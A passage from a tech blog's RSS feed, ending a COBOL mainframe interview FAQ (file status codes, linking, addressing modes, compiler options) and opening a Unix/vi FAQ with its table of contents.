<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Can rewrite(record length must be same), but not delete.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">141.What is file status 92? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Logic error. e.g., a file is opened for input and an attempt is made to write to it.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">142.What is file status 39?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Mismatch in LRECL or BLOCKSIZE or RECFM between your COBOL pgm &amp; the JCL (or the dataset label). You will get file status 39 on an OPEN.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">143.What is Static, Dynamic linking ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. In static linking, the called subroutine is link-edited into the calling program , while in dynamic linking, the subroutine &amp; the main program will exist as separate load modules. You choose static/dynamic linking by choosing either the DYNAM or NODYNAM link edit option. (Even if you choose NODYNAM, a CALL identifier (as opposed to a CALL literal), will translate to a DYNAMIC call).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A statically called subroutine will not be in its initial state the next time it is called unless you explicitly use INITIAL or you do a CANCEL. A dynamically called routine will always be in its initial state.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">144.Explain NEXT and CONTINUE verbs for file handling.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A The Continue verb is used for a situation where there in no EOF condition. i.e. The records are to be accessed again and again in a file. Whereas in the next verb the indexed file is accessed sequentially, whence when index clause is accessed sequentially read next record command is used.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">145.What is AMODE(24), AMODE(31), RMODE(24) and RMODE(ANY)? (applicable to only MVS/ESA).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. These are compile/link edit options. AMODE &#8211; Addressing mode. RMODE &#8211; Residency mode.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">AMODE(24) &#8211; 24 bit addressing. AMODE(31) &#8211; 31 bit addressing. AMODE(ANY) &#8211; Either 24 bit or 31 bit addressing depending on RMODE. RMODE(24) &#8211; Resides in virtual storage below 16 Meg line. Use this for 31 bit programs that call 24 bit programs. (OS/VS Cobol pgms use 24 bit addresses only). RMODE(ANY) &#8211; Can reside above or below 16 Meg line.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">146.What compiler option would you use for dynamic linking?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo66; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">DYNAM. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">147.What is SSRANGE, NOSSRANGE ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. These are compiler options w.r.t subscript out of range checking. NOSSRANGE is the default and if chosen, no run time error will be flagged if your index or subscript goes out of the permissible range.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">148.How do you set a return code to the JCL from a COBOL program?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Move a value to RETURN-CODE register. RETURN-CODE should not be declared in your program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">149.How can you submit a job from COBOL programs?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Write JCL cards to a dataset with </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">//xxxxxxx SYSOUT=(A,INTRDR) where &#8216;A&#8217; is output class, and dataset should be opened for output in the program. Define a 80 byte record layout for the file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">150.What are the differences between OS VS COBOL and VS COBOL II?</span></p>
<ul type="disc">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OS/VS Cobol pgms can only run in 24 bit addressing mode, VS Cobol II pgms can run either in 24 bit or 31 bit addressing modes allowing program to address above 16 Meg main storage line. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Report writer is supported only in OS/VS Cobol. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">USAGE IS POINTER is supported only in VS COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Reference modification eg: WS-VAR(1:2) is supported only in VS COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II introduces new features (EVALUATE, SET &#8230; TO TRUE, CALL &#8230; BY CONTEXT, etc) </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Scope terminators are supported in COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OS/VS Cobol follows ANSI 74 stds while VS COBOL II follows ANSI 85 stds. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Under CICS Calls between VS COBOL II programs are supported. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II supports structured programming by using in-line PERFORM &#8217;s. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II does not support old features (READY TRACE, REPORT-WRITER, ISAM, etc.). </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">In non-CICS environment, it is possible. In CICS, this is not possible. </span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unix-FAQs</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/unix-faqs/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/unix-faqs/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:04:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[unix commands]]></category>
		<category><![CDATA[unix FAQ]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=158</guid>
		<description><![CDATA[
 
 
Table of Contents:
 
1 FAQ. 
1.1 Whenever I FTP a file, it puts in ^M at the end of each line. How do I remove them? 3
1.2 Can I map a key to include the Enter and/or Esc key? For example, &#8221; ABC Services, Inc.[Enter][Enter]California, USA[Esc] 3
1.3 My group has a very long name, can I [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; layout-grid-mode: char; text-align: center; mso-pagination: none;" align="center"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="mso-bookmark: _Toc159993592;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></em></strong></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><span style="mso-bookmark: _Toc159993592;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></em></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><span style="mso-bookmark: _Toc159993592;"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; color: navy; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Table of Contents:</span></em></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1 <strong style="mso-bidi-font-weight: normal;">FAQ</strong></span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950833"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.1 Whenever I FTP a file, it puts in ^M at the end of each line. How do I remove them?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950834"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.2 Can I map a key to include the Enter and/or Esc key? For example, &#8221; ABC Services, Inc.[Enter][Enter]California, USA[Esc]</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950835"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.3 My group has a very long name, can I have vi type it out for me?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950836"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.4 Escaping to the Shell with the:! Command</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950837"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.5 Incorporating Shell Output Via the: r ! Command</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950838"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.6 Can I import the output of a command line into vi?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">3</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc3" style="margin: 0in 0.1in 0pt 60pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950839"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">1.7 VI Copy File to File</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc1" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950840"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2 <strong style="mso-bidi-font-weight: normal;">Commonly used commands</strong></span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;">. </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950841"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.1 I&#8217;ve executed the following command &#8220;:10,15 s/this/that/g&#8221; in vi. Now I want to repeat the command for lines 20 through 25. how do I ring the command back up on the editor line?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950842"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.2 How do I search for a word with blank spaces around it?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950843"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.3 How do I create a temp file while in vi without knowing the filename of the file I&#8217;m editing?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950844"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.4 Do you know of a vi command to change all text (upper and lower) on a line to uppercase? I used the ~ command, but it just reverses the case.</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">4</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
